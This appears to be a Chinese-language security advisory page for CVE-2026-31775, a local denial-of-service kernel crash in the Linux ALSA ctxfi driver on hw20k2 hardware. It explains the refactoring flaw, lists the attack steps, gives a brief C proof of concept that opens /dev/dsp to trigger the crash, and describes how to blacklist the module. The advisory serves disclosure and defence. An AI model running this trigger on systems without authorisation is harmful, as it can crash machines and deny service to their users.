IPBUF安全漏洞报告
English
CVE-2026-31775 CVSS 5.5 中危

CVE-2026-31775 Linux内核ALSA ctxfi驱动崩溃漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31775
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelALSADoS本地拒绝服务内核崩溃

漏洞概述

Linux内核ALSA子系统的ctxfi驱动中存在一个漏洞。由于代码重构导致`atc_get_resources`函数对DAIOTYP条目的遍历逻辑发生变化,错误地包含了仅适用于特定硬件型号(hw20k1)的SPDIF1类型。在缺乏对应硬件定义的情况下,这会导致hw20k2型号发生内核崩溃,从而引发本地拒绝服务。

技术细节

该漏洞源于Linux内核ALSA驱动`ctxfi`中`atc_get_resources`函数的代码重构逻辑缺陷。重构后的代码循环遍历所有`DAIOTYP`枚举条目以填充`atc->daios[]`数组,但未充分考虑到硬件兼容性差异。枚举中的最后一个条目`SPDIF1`仅专用于`hw20k1 CTSB073X`型号,在`hw20k2`架构中缺乏对应的硬件资源定义。当代码在`hw20k2`硬件上运行并尝试处理`SPDIF1`条目时,由于无法获取有效的硬件信息,会导致空指针解引用或非法内存访问,从而触发内核崩溃。攻击者只需具备本地低权限账户,通过触发驱动加载或设备初始化流程即可利用此漏洞造成系统拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限用户访问权限。
STEP 2
步骤2
攻击者触发易受攻击的`snd-ctxfi`驱动程序初始化,例如通过加载内核模块或打开音频设备。
STEP 3
步骤3
驱动程序执行`atc_get_resources`函数,错误地遍历到仅适用于hw20k1的`SPDIF1`枚举类型。
STEP 4
步骤4
在hw20k2硬件上,由于缺少`SPDIF1`的定义,导致访问非法内存或空指针。
STEP 5
步骤5
触发内核崩溃,导致系统重启或停止响应,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31775 * This PoC attempts to trigger the vulnerability by interacting * with the sound device on a system using the vulnerable hw20k2 hardware. * The crash typically occurs during driver initialization or resource access. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { int fd; const char *device = "/dev/dsp"; printf("[+] Attempting to open audio device to trigger initialization...\n"); // Opening the device may trigger the resource allocation path fd = open(device, O_WRONLY); if (fd < 0) { perror("[-] Failed to open device"); printf("[-] Device might not exist or driver not loaded.\n"); return 1; } printf("[+] Device opened successfully. If vulnerable, kernel panic may occur.\n"); // Attempt a simple write operation to ensure interaction if (write(fd, "test", 4) < 0) { perror("[-] Write failed"); } close(fd); return 0; }

影响范围

Linux Kernel (包含重构代码但未应用修复补丁的版本)

防御指南

临时缓解措施
建议用户暂时禁用`snd-ctxfi`内核模块以防止漏洞被利用。可以使用`modprobe -r snd-ctxfi`卸载模块,并通过配置文件(如/etc/modprobe.d/blacklist.conf)将其加入黑名单以禁止自动加载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表